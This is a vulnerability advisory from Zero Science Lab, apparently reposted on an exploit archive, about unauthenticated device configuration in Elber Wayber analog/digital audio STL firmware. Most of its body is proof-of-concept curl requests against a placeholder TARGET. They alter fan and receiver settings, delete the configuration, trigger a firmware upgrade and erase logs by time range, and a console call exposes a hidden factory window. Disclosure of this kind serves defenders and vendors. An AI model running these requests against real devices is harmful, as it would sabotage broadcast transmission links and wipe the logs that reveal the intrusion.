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Elber Wayber Analog/Digital Audio STL 4.00 Insecure Direct Object Reference

Elber Wayber Analog/Digital Audio STL 4.00 Insecure Direct Object Reference
Posted Apr 18, 2024
Authored by LiquidWorm | Site zeroscience.mk

Elber Wayber Analog/Digital Audio STL version 4.00 suffers from an unauthenticated device configuration and client-side hidden functionality disclosure vulnerability.

tags | exploit
SHA-256 | 1f4ca9c99499e4b0297302a26037d992679a7eb1d2c0d0b3b0698bafec7a14cc

Elber Wayber Analog/Digital Audio STL 4.00 Insecure Direct Object Reference

Change Mirror Download

Elber Wayber Analog/Digital Audio STL 4.00 Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5823
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.
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